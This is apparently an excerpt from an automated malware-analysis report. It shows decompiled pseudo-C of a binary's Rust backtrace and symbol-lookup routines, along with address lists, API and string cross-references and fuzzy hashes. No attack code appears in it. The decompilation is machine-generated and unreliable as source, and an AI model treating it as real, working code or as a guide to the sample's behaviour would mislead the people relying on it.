											_t256 =  *_t397(_t255,  *(_t418 + 0x30), 0,  *(_t418 + 0x20), 0, 0, _t373, _t333);
											__eflags = _t256 - 1;
											if(_t256 != 1) {
												_t398 = 0;
												__eflags = 0;
											} else {
												_t256 =  *((intOrPtr*)(_t418 + 0x68));
												_t333 =  *((intOrPtr*)(_t418 + 0x6c));
												_t399 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t373 = _t399;
													_t399 = _t399 + 1;
													__eflags =  *((short*)(_t333 + _t373 * 2));
												} while ( *((short*)(_t333 + _t373 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t398 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0xc);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t398;
											 *((intOrPtr*)(_t418 + 0x48)) = _t256;
											 *(_t418 + 0x4c) = _t398;
											 *((intOrPtr*)(_t418 + 0x50)) = _t333;
											 *(_t418 + 0x54) = _t373;
											E6E7AFA10(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t258 = GetProcAddress( *0x6e7fadd0, "SymGetLineFromInlineContextW");
											__eflags = _t258;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6E7C6E20(_t304, "called `Option::unwrap()` on a `None` value", 0x2b, _t397, _t418, __eflags, 0x6e7ee2c0);
												goto L87;
											} else {
												_t397 = _t258;
												 *0x6e7fae00 = _t258;
												goto L67;
											}
										}
									}
								}
							} else {
								_t273 = GetProcAddress( *0x6e7fadd0, "SymFromInlineContextW");
								__eflags = _t273;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6E7C6E20(_t302, "called `Option::unwrap()` on a `None` value", 0x2b, _t393, _t418, __eflags, 0x6e7ee2c0);
									goto L87;
								} else {
									_t302 = _t273;
									 *0x6e7fadfc = _t273;
									goto L33;
								}
							}
						} else {
							_t312 = _t393[2];
							E6E7BC310(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t407 =  *0x6e7fadf0; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t407;
							if(_t407 != 0) {
								L9:
								_t277 = GetCurrentProcess();
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t278 =  *_t407(_t277, _t312, 0, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t278 - 1;
								if(_t278 != 1) {
									L75:
									ReleaseMutex( *(_t418 + 0x2c));
									__eflags =  *((char*)(_t418 + 0x13));
									if( *((char*)(_t418 + 0x13)) != 0) {
										goto L4;
									} else {
										goto L76;
									}
									goto L80;
								} else {
									_t279 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t408 = 0x100;
									 *(_t418 + 0x20) = 0;
									 *(_t418 + 0x14) = _t312;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t346 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t279 - _t346;
									_t347 =  <=  ? _t279 : _t346;
									_t379 = _t418 + 0x1f4 + ( <=  ? _t279 : _t346) * 2;
									 *(_t418 + 0xc) = _t418 + 0x1f4;
									_t281 = 0;
									 *(_t418 + 0x30) = _t379;
									__eflags = 0;
									 *(_t418 + 0x1c) = _t418 + 0xa0;
									 *(_t418 + 0x28) = 0x100;
									if(0 == 0) {
										L13:
										__eflags =  *(_t418 + 0xc) - _t379;
										if( *(_t418 + 0xc) != _t379) {
											_t353 =  *(_t418 + 0xc);
											_t412 =  *_t353 & 0x0000ffff;
											_t354 =  &(_t353[1]);
											__eflags = _t354;
											 *(_t418 + 0xc) = _t354;
											goto L15;
										}
									} else {
										L12:
										_t412 = _t281 >> 0x10;
										L15:
										 *(_t418 + 0x18) = _t281 & 0xffff0000;
										__eflags = (_t412 & 0x0000f800) - 0xd800;
										if((_t412 & 0x0000f800) != 0xd800) {
											_t357 = _t412 & 0x0000ffff;
											_t384 = 0;
										} else {
											_t357 = 0;
											_t384 = 1;
											__eflags = (_t412 & 0x0000ffff) - 0xdbff;
											if((_t412 & 0x0000ffff) <= 0xdbff) {
												_t317 =  *(_t418 + 0xc);
												_t293 =  *(_t418 + 0x30);
												__eflags = _t317 - _t293;
												if(_t317 == _t293) {
													 *(_t418 + 0xc) = _t293;
												} else {
													_t294 =  *_t317 & 0x0000ffff;
													 *(_t418 + 0xc) =  &(_t317[1]);
													__eflags = (_t294 & 0x0000fc00) - 0xdc00;
													if((_t294 & 0x0000fc00) != 0xdc00) {
														_t297 = (_t294 & 0x0000ffff) << 0x00000010 | 0x00000001;
														__eflags = _t297;
														 *(_t418 + 0x18) = _t297;
													} else {
														_t384 = 0;
														_t357 = (_t294 + 0x00002400 & 0x0000ffff | (_t412 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											}
											_t312 =  *(_t418 + 0x14);
										}
										__eflags = _t384 & 0x00000001;
										_t385 = 1;
										_t358 =  !=  ? 0xfffd : _t357;
										_t290 =  *(_t418 + 0x28);
										__eflags = _t358 - 0x80;
										if(_t358 >= 0x80) {
											_t385 = 2;
											__eflags = _t358 - 0x800;
											if(_t358 >= 0x800) {
												__eflags = _t358 - 0x10000;
												_t385 = 4;
												asm("sbb edx, 0x0");
											}
										}
										_t408 = _t290 - _t385;
										__eflags = _t408;
										if(_t408 > 0) {
											 *(_t418 + 0x24) = _t385;
											 *(_t418 + 0x34) = _t408;
											 *(_t418 + 0x11a8) = 0;
											E6E7ADD00(_t312, _t358,  *(_t418 + 0x1c), _t408, _t418, _t421, _t290);
											_t424 = _t424 + 4;
											_t292 =  *(_t418 + 0x24);
											_t408 =  *(_t418 + 0x34);
											_t312 =  *(_t418 + 0x14);
											_t379 =  *(_t418 + 0x30);
											 *(_t418 + 0x20) =  *(_t418 + 0x20) + _t292;
											_t281 =  *(_t418 + 0x18);
											__eflags = _t281;
											 *(_t418 + 0x1c) =  *(_t418 + 0x1c) + _t292;
											 *(_t418 + 0x28) =  *(_t418 + 0x34);
											if(_t281 != 0) {
												goto L12;
											} else {
												goto L13;
											}
										}
									}
									__eflags =  *(_t418 + 0x20) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6E7C6DB0(_t312,  *(_t418 + 0x20), 0x100, _t408, _t418, __eflags, 0x6e7ee1dc);
										goto L87;
									} else {
										_t409 =  *0x6e7fadf4; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t409;
										if(_t409 != 0) {
											L59:
											_t283 = GetCurrentProcess();
											_t350 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t381 = _t418 + 0x38;
											_t284 =  *_t409(_t283, _t312, 0, _t381, _t350);
											__eflags = _t284 - 1;
											if(_t284 != 1) {
												_t410 = 0;
												__eflags = 0;
											} else {
												_t284 =  *((intOrPtr*)(_t418 + 0x68));
												_t350 =  *((intOrPtr*)(_t418 + 0x6c));
												_t411 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t381 = _t411;
													_t411 = _t411 + 1;
													__eflags =  *((short*)(_t350 + _t381 * 2));
												} while ( *((short*)(_t350 + _t381 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t410 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0x20);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t410;
											 *((intOrPtr*)(_t418 + 0x48)) = _t284;
											 *(_t418 + 0x4c) = _t410;
											 *((intOrPtr*)(_t418 + 0x50)) = _t350;
											 *(_t418 + 0x54) = _t381;
											E6E7AFA10(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t286 = GetProcAddress( *0x6e7fadd0, "SymGetLineFromAddrW64");
											__eflags = _t286;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6E7C6E20(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t409, _t418, __eflags, 0x6e7ee2c0);
												goto L87;
											} else {
												_t409 = _t286;
												 *0x6e7fadf4 = _t286;
												goto L59;
											}
										}
									}
								}
							} else {
								_t298 = GetProcAddress( *0x6e7fadd0, "SymFromAddrW");
								__eflags = _t298;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6E7C6E20(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t407, _t418, __eflags, 0x6e7ee2c0);
									L87:
									asm("ud2");
									asm("o16 nop [eax+eax]");
									_push(_t421);
									return E6E7AE880( *((intOrPtr*)( &_v4528 + 0x2c)));
								} else {
									_t407 = _t298;
									 *0x6e7fadf0 = _t298;
									goto L9;
								}
							}
						}
					} else {
						if( *((char*)(_t418 + 0x13)) == 0) {
							L76:
							__eflags =  *(_t418 + 0x12);
							if( *(_t418 + 0x12) == 0) {
								__eflags =  *((char*)( *((intOrPtr*)(_t418 + 0x7c))));
								if( *((char*)( *((intOrPtr*)(_t418 + 0x7c)))) != 0) {
									 *(_t418 + 0x38) =  *((intOrPtr*)(_t418 + 0x78));
									 *(_t418 + 0x3c) = 0;
									 *(_t418 + 0x1a8) = 4;
									 *(_t418 + 0xa0) = 2;
									 *(_t418 + 0x11a8) = 1;
									_push(0);
									_push(_t418 + 0xa0);
									_push(_t418 + 0x1a0);
									 *( *(_t418 + 0x58)) = E6E7AF250(_t418 + 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x5c)) + 8)));
									_t249 =  *(_t418 + 0x38);
									_t202 = _t249 + 4;
									 *_t202 =  *(_t249 + 4) + 1;
									__eflags =  *_t202;
								}
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) + 1;
							_t243 =  *(_t418 + 0x58);
							__eflags =  *_t243;
							_t208 =  *_t243 == 0;
							__eflags = _t208;
							_t240 = _t243 & 0xffffff00 | _t208;
						} else {
							goto L4;
						}
						goto L80;
					}
				} else {
					L4:
					_t240 = 0;
					L80:
					 *[fs:0x0] =  *((intOrPtr*)(_t418 + 0x11a0));
					return _t240;
				}
			}

0x6e7ae890
0x6e7ae890
0x6e7ae893
0x6e7ae894
0x6e7ae895
0x6e7ae896
0x6e7ae89e
0x6e7ae8a3
0x6e7ae8a5
0x6e7ae8ab
0x6e7ae8b1
0x6e7ae8bb
0x6e7ae8d2
0x6e7ae8d8
0x6e7ae8de
0x6e7ae8e1
0x6e7ae8e6
0x6e7ae8f0
0x6e7ae8f3
0x6e7ae8f6
0x6e7ae8fc
0x6e7ae8ff
0x6e7ae902
0x6e7ae905
0x6e7ae909
0x6e7ae90d
0x6e7ae913
0x6e7ae91c
0x6e7ae922
0x6e7ae92b
0x6e7ae931
0x6e7ae937
0x6e7ae93a
0x6e7ae93d
0x6e7ae940
0x6e7ae94d
0x6e7ae960
0x6e7ae963
0x6e7ae96b
0x6e7ae96e
0x6e7aec18
0x6e7aec1d
0x6e7aec20
0x6e7aec26
0x6e7aec30
0x6e7aec3a
0x6e7aec3c
0x6e7aec5e
0x6e7aec5e
0x6e7aec66
0x6e7aec6c
0x6e7aec77
0x6e7aec81
0x6e7aec8e
0x6e7aec99
0x6e7aec9f
0x6e7aeca6
0x6e7aeca8
0x6e7aecab
0x00000000
0x6e7aecb1
0x6e7aecb7
0x6e7aecbd
0x6e7aecc0
0x6e7aecc6
0x6e7aeccc
0x6e7aecd3
0x6e7aecda
0x6e7aece1
0x6e7aece8
0x6e7aecef
0x6e7aecf6
0x6e7aecfd
0x6e7aed04
0x6e7aed0b
0x6e7aed12
0x6e7aed19
0x6e7aed20
0x6e7aed27
0x6e7aed2e
0x6e7aed35
0x6e7aed3c
0x6e7aed43
0x6e7aed44
0x6e7aed46
0x6e7aed50
0x6e7aed52
0x6e7aed5a
0x6e7aed5d
0x6e7aed60
0x6e7aed80
0x6e7aed80
0x6e7aed83
0x6e7aed89
0x6e7aed8b
0x6e7aed8b
0x6e7aed8e
0x00000000
0x6e7aed8e
0x6e7aed62
0x6e7aed62
0x6e7aed70
0x6e7aed72
0x6e7aed91
0x6e7aed9e
0x6e7aeda1
0x6e7aeda6
0x6e7aedc0
0x6e7aedc3
0x6e7aedc6
0x6e7aeda8
0x6e7aeda8
0x6e7aedad
0x6e7aedaf
0x6e7aedb5
0x6e7aedd0
0x6e7aedd3
0x6e7aedd5
0x6e7aee15
0x00000000
0x6e7aedd7
0x6e7aedd7
0x6e7aeddd
0x6e7aede0
0x6e7aede9
0x6e7aedef
0x6e7aee24
0x6e7aee27
0x00000000
0x6e7aedf1
0x6e7aee0b
0x6e7aee0d
0x6e7aee0d
0x6e7aedef
0x6e7aedb7
0x6e7aedb7
0x6e7aee30
0x6e7aee30
0x6e7aee30
0x6e7aedb5
0x6e7aee35
0x6e7aee38
0x6e7aee3f
0x6e7aee44
0x6e7aee47
0x6e7aee4d
0x6e7aee4f
0x6e7aee54
0x6e7aee5a
0x6e7aee5c
0x6e7aee62
0x6e7aee67
0x6e7aee67
0x6e7aee5a
0x6e7aee6c
0x6e7aee6c
0x6e7aee6e
0x6e7aee71
0x6e7aee77
0x6e7aee7a
0x6e7aee85
0x6e7aee88
0x6e7aee8d
0x6e7aee90
0x6e7aee96
0x6e7aee99
0x6e7aee9c
0x6e7aee9e
0x6e7aeea4
0x6e7aeea7
0x6e7aeeaa
0x00000000
0x6e7aeeb0
0x00000000
0x6e7aeeb0
0x6e7aeeaa
0x6e7aee71
0x6e7aef5e
0x6e7aef65
0x6e7af15a
0x6e7af16e
0x00000000
0x6e7aef6b
0x6e7aef6b
0x6e7aef71
0x6e7aef74
0x6e7aef7b
0x6e7aef82
0x6e7aef86
0x6e7aef8d
0x6e7aef8f
0x6e7aefb1
0x6e7aefb1
0x6e7aefb6
0x6e7aefb9
0x6e7aefc0
0x6e7aefd2
0x6e7aefd4
0x6e7aefd7
0x6e7af04e
0x6e7af04e
0x6e7aefd9
0x6e7aefd9
0x6e7aefdc
0x6e7aefdf
0x6e7aefdf
0x6e7aefe1
0x6e7aeff0
0x6e7aeff0
0x6e7aeff2
0x6e7aeff3
0x6e7aeff3
0x6e7aeffa
0x6e7af004
0x6e7af004
0x6e7af056
0x6e7af060
0x6e7af066
0x6e7af06f
0x6e7af072
0x6e7af075
0x6e7af078
0x6e7af07b
0x6e7af07e
0x6e7af08a
0x00000000
0x6e7aef91
0x6e7aef9c
0x6e7aefa2
0x6e7aefa4
0x6e7af1e4
0x6e7af1fd
0x00000000
0x6e7aefaa
0x6e7aefaa
0x6e7aefac
0x00000000
0x6e7aefac
0x6e7aefa4
0x6e7aef8f
0x6e7aef65
0x6e7aec3e
0x6e7aec49
0x6e7aec4f
0x6e7aec51
0x6e7af19e
0x6e7af1b7
0x00000000
0x6e7aec57
0x6e7aec57
0x6e7aec59
0x00000000
0x6e7aec59
0x6e7aec51
0x6e7ae974
0x6e7ae974
0x6e7ae985
0x6e7ae98a
0x6e7ae98d
0x6e7ae993
0x6e7ae99d
0x6e7ae9a7
0x6e7ae9a9
0x6e7ae9cb
0x6e7ae9cb
0x6e7ae9d6
0x6e7ae9e0
0x6e7ae9f6
0x6e7ae9f8
0x6e7ae9fb
0x6e7af08f
0x6e7af093
0x6e7af098
0x6e7af09c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aea01
0x6e7aea07
0x6e7aea0d
0x6e7aea10
0x6e7aea15
0x6e7aea1c
0x6e7aea1f
0x6e7aea26
0x6e7aea2d
0x6e7aea34
0x6e7aea3b
0x6e7aea42
0x6e7aea49
0x6e7aea50
0x6e7aea57
0x6e7aea5e
0x6e7aea65
0x6e7aea6c
0x6e7aea73
0x6e7aea7a
0x6e7aea81
0x6e7aea88
0x6e7aea8f
0x6e7aea90
0x6e7aea92
0x6e7aea9b
0x6e7aeaa2
0x6e7aeaa5
0x6e7aeaad
0x6e7aeab0
0x6e7aeab3
0x6e7aeab6
0x6e7aeab9
0x6e7aead0
0x6e7aead0
0x6e7aead3
0x6e7aead9
0x6e7aeadc
0x6e7aeadf
0x6e7aeadf
0x6e7aeae2
0x00000000
0x6e7aeae2
0x6e7aeac0
0x6e7aeac0
0x6e7aeac2
0x6e7aeae5
0x6e7aeaf2
0x6e7aeaf5
0x6e7aeafb
0x6e7aeb60
0x6e7aeb63
0x6e7aeafd
0x6e7aeb00
0x6e7aeb02
0x6e7aeb07
0x6e7aeb0d
0x6e7aeb0f
0x6e7aeb12
0x6e7aeb15
0x6e7aeb17
0x6e7aeb67
0x6e7aeb19
0x6e7aeb19
0x6e7aeb1f
0x6e7aeb2a
0x6e7aeb30
0x6e7aeb72
0x6e7aeb72
0x6e7aeb75
0x6e7aeb32
0x6e7aeb49
0x6e7aeb4b
0x6e7aeb4b
0x6e7aeb30
0x6e7aeb17
0x6e7aeb80
0x6e7aeb80
0x6e7aeb83
0x6e7aeb8b
0x6e7aeb90
0x6e7aeb93
0x6e7aeb96
0x6e7aeb9c
0x6e7aeb9e
0x6e7aeba3
0x6e7aeba9
0x6e7aebab
0x6e7aebb1
0x6e7aebb6
0x6e7aebb6
0x6e7aeba9
0x6e7aebbb
0x6e7aebbb
0x6e7aebbd
0x6e7aebc3
0x6e7aebc9
0x6e7aebcc
0x6e7aebd7
0x6e7aebdc
0x6e7aebdf
0x6e7aebe5
0x6e7aebe8
0x6e7aebeb
0x6e7aebf0
0x6e7aebf3
0x6e7aebf6
0x6e7aebf9
0x6e7aebfc
0x6e7aebff
0x00000000
0x6e7aec05
0x00000000
0x6e7aec05
0x6e7aebff
0x6e7aebbd
0x6e7aeeb5
0x6e7aeebc
0x6e7af136
0x6e7af14a
0x00000000
0x6e7aeec2
0x6e7aeec2
0x6e7aeec8
0x6e7aeecb
0x6e7aeed2
0x6e7aeed9
0x6e7aeedd
0x6e7aeee4
0x6e7aeee6
0x6e7aef08
0x6e7aef08
0x6e7aef0d
0x6e7aef10
0x6e7aef17
0x6e7aef20
0x6e7aef22
0x6e7aef25
0x6e7af00b
0x6e7af00b
0x6e7aef2b
0x6e7aef2b
0x6e7aef2e
0x6e7aef31
0x6e7aef31
0x6e7aef33
0x6e7aef40
0x6e7aef40
0x6e7aef42
0x6e7aef43
0x6e7aef43
0x6e7aef4a
0x6e7aef54
0x6e7aef54
0x6e7af013
0x6e7af01d
0x6e7af023
0x6e7af02c
0x6e7af02f
0x6e7af032
0x6e7af035
0x6e7af038
0x6e7af03b
0x6e7af047
0x00000000
0x6e7aeee8
0x6e7aeef3
0x6e7aeef9
0x6e7aeefb
0x6e7af1c1
0x6e7af1da
0x00000000
0x6e7aef01
0x6e7aef01
0x6e7aef03
0x00000000
0x6e7aef03
0x6e7aeefb
0x6e7aeee6
0x6e7aeebc
0x6e7ae9ab
0x6e7ae9b6
0x6e7ae9bc
0x6e7ae9be
0x6e7af17b
0x6e7af194
0x6e7af205
0x6e7af205
0x6e7af207
0x6e7af210
0x6e7af22c
0x6e7ae9c4
0x6e7ae9c4
0x6e7ae9c6
0x00000000
0x6e7ae9c6
0x6e7ae9be
0x6e7ae9a9
0x6e7ae94f
0x6e7ae953
0x6e7af0a2
0x6e7af0a2
0x6e7af0a6
0x6e7af0ab
0x6e7af0ae
0x6e7af0b3
0x6e7af0b9
0x6e7af0c3
0x6e7af0cd
0x6e7af0d7
0x6e7af0f3
0x6e7af0f5
0x6e7af0f6
0x6e7af102
0x6e7af104
0x6e7af107
0x6e7af107
0x6e7af107
0x6e7af107
0x6e7af0ae
0x6e7af113
0x6e7af115
0x6e7af118
0x6e7af11b
0x6e7af11b
0x6e7af11b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ae953
0x6e7ae959
0x6e7ae959
0x6e7ae959
0x6e7af11e
0x6e7af124
0x6e7af132
0x6e7af132

APIs

GetProcAddress.KERNEL32(SymFromAddrW), ref: 6E7AE9B6
GetCurrentProcess.KERNEL32 ref: 6E7AE9CB

Strings

SymFromInlineContextW, xrefs: 6E7AEC3E
SymFromAddrW, xrefs: 6E7AE9AB
called `Option::unwrap()` on a `None` value, xrefs: 6E7AF185, 6E7AF1A8, 6E7AF1CB, 6E7AF1EE
SymGetLineFromInlineContextW, xrefs: 6E7AEF91
SymGetLineFromAddrW64, xrefs: 6E7AEEE8

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCurrentProcProcess
String ID: SymFromAddrW$SymFromInlineContextW$SymGetLineFromAddrW64$SymGetLineFromInlineContextW$called `Option::unwrap()` on a `None` value
API String ID: 3217270580-808744031
Opcode ID: ef77e277e8611176f01c552b42698ce6ba7912b8dfc4c053478fb5e56a6ecaa0
Instruction ID: 7c15d000b5b1d4dd464d7af00e903185702126f9678e313f49f87948ac070113
Opcode Fuzzy Hash: ef77e277e8611176f01c552b42698ce6ba7912b8dfc4c053478fb5e56a6ecaa0
Instruction Fuzzy Hash: 91427870904B418FE725CF69C990BE3B7F5FF88314F104A2ED69B87A60E775A4858B81

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AA890, Relevance: 15.7, Strings: 11, Instructions: 1959
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6E7AA890(void* __ebx, signed int* __ecx, signed int __edx, signed int __edi, void* __esi, void* __eflags, signed int _a4, intOrPtr _a20, intOrPtr _a24) {
				char _v2;
				signed char _v3;
				void* _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v68;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				signed int* _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v192;
				char _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				intOrPtr _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _t546;
				signed int _t551;
				signed int* _t552;
				intOrPtr _t553;
				intOrPtr* _t556;
				intOrPtr _t557;
				signed int _t558;
				signed int _t565;
				signed char _t566;
				void* _t567;
				signed char* _t568;
				signed char* _t570;
				signed int _t572;
				signed int _t574;
				signed char _t575;
				signed int _t577;
				void* _t580;
				signed int _t581;
				signed int _t583;
				signed int _t587;
				void* _t589;
				signed int _t596;
				signed int _t597;
				signed char _t598;
				signed int _t599;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed char* _t606;
				signed int _t607;
				signed int _t609;
				signed int _t612;
				char* _t617;
				signed int _t618;
				signed int _t626;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t634;
				signed int _t636;
				signed int _t642;
				signed int _t643;
				void* _t645;
				signed int _t646;
				signed int _t647;
				signed int _t651;
				signed int _t652;
				signed char* _t653;
				signed char* _t654;
				signed char* _t656;
				signed int _t657;
				signed int _t659;
				signed int _t661;
				signed int _t662;
				void* _t665;
				signed int _t669;
				signed char* _t670;
				signed int* _t675;
				signed int _t676;
				signed char _t685;
				intOrPtr _t689;
				intOrPtr* _t691;
				signed int _t692;
				signed int _t694;
				signed int _t696;
				signed int _t699;
				signed int _t700;
				signed int _t704;
				signed int _t706;
				signed int _t711;
				signed int _t713;
				signed int _t716;
				signed int _t725;
				signed int _t729;
				intOrPtr _t749;
				signed int _t751;
				intOrPtr _t755;
				signed int _t758;
				signed int _t762;
				signed char _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t769;
				signed int _t772;
				signed char* _t775;
				signed int _t776;
				signed int _t779;
				signed int _t780;
				signed char _t781;
				signed char _t783;
				signed int _t784;
				signed int _t785;
				signed char _t786;
				signed char _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t793;
				signed int _t797;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t812;
				signed int _t815;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed char* _t826;
				signed int _t831;
				signed int _t833;
				signed int _t841;
				void* _t842;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t849;
				signed int _t852;
				signed int _t853;
				signed char* _t859;
				signed int _t860;
				signed int _t863;
				signed int _t866;
				signed int _t867;
				signed char* _t868;
				signed int _t881;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t892;
				signed int _t894;
				signed int _t895;
				void* _t896;
				signed char _t897;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				void* _t904;
				signed int _t905;
				void* _t906;
				signed char _t907;
				intOrPtr _t910;
				signed int _t911;
				void* _t913;
				signed int _t916;
				signed int _t918;
				signed int _t920;
				signed int _t921;
				signed int _t923;
				signed int _t925;
				signed int _t927;
				signed int _t928;
				signed int _t929;
				signed char* _t930;
				signed char _t932;
				signed int _t933;
				signed int _t935;
				signed int _t941;
				signed int _t943;
				signed int _t945;
				signed char _t950;
				signed char _t952;
				signed int _t953;
				signed int _t956;
				signed int _t963;
				signed char* _t964;
				signed char _t967;
				signed int _t968;
				signed int _t970;
				signed int _t971;
				signed int _t973;
				signed int _t981;
				signed int _t982;
				signed int _t983;
				signed int _t984;
				signed int _t985;
				signed int _t988;
				signed int _t989;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t996;
				signed int _t997;
				signed int _t998;
				signed int _t1001;
				signed int _t1003;
				signed int _t1004;
				signed char* _t1010;
				signed char* _t1011;
				signed char* _t1012;
				signed int _t1015;
				signed int _t1017;
				signed int _t1019;
				signed int _t1020;
				signed int _t1022;
				signed int _t1025;
				signed int _t1029;
				signed int _t1030;
				signed int _t1032;
				signed int _t1037;
				signed int _t1042;
				signed int _t1044;
				signed int _t1047;
				signed int _t1048;
				signed int _t1050;
				signed int _t1051;
				signed int _t1055;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1065;
				signed int _t1066;
				signed char* _t1069;
				signed int _t1070;
				signed char* _t1076;
				signed char* _t1077;
				signed int _t1085;
				signed int _t1087;
				signed int _t1100;
				signed int _t1103;
				signed int _t1105;
				signed int _t1109;
				signed char* _t1112;
				signed int _t1113;
				signed int _t1114;
				signed int _t1116;
				signed int _t1119;
				signed int _t1121;
				void* _t1124;
				void* _t1127;
				void* _t1142;

				_t998 = __edi;
				_t1100 = _t1121;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_v108 = __ecx;
				_v152 = __edx;
				_push(6);
				_push(".llvm.C:krlaoyielwznvejuafezypqcocmjtjjtbijbqwlufiemtvzrncrsqklaorfwhkaclbsrhxcyxfrzrgfapvzyvasietlisocljucmq");
				_push(_a4);
				E6E7A3A90( &_v104, __edx);
				_t1124 = (_t1121 & 0xfffffff8) - 0x98 + 0xc;
				if(_v104 != 1) {
					_t1055 =  &_v32;
					asm("o16 nop [cs:eax+eax]");
					do {
						E6E7A8D20( &_v104, _t1055,  &_v104, __edi, _t1055);
						_t546 = _v32;
						__eflags = _t546 - 1;
					} while (_t546 == 1);
					__eflags = _t546;
					if(_t546 != 0) {
						goto L71;
					} else {
						_t998 = _v28;
						goto L39;
					}
				} else {
					_t711 = _v68;
					_t1055 = _v56;
					_t989 = _v52;
					_v164 = _t711;
					_v148 = _t1055;
					_v160 = _v48;
					_t713 = _v44;
					_v144 = _t713;
					if(_t711 == 0xffffffff) {
						_t998 = _v76;
						_t896 = _t998 + _t713 - 1;
						__eflags = _t896 - _t989;
						if(_t896 < _t989) {
							_v156 = _t989;
							_v112 = _v96;
							_v116 = _v92;
							_t716 = _v88;
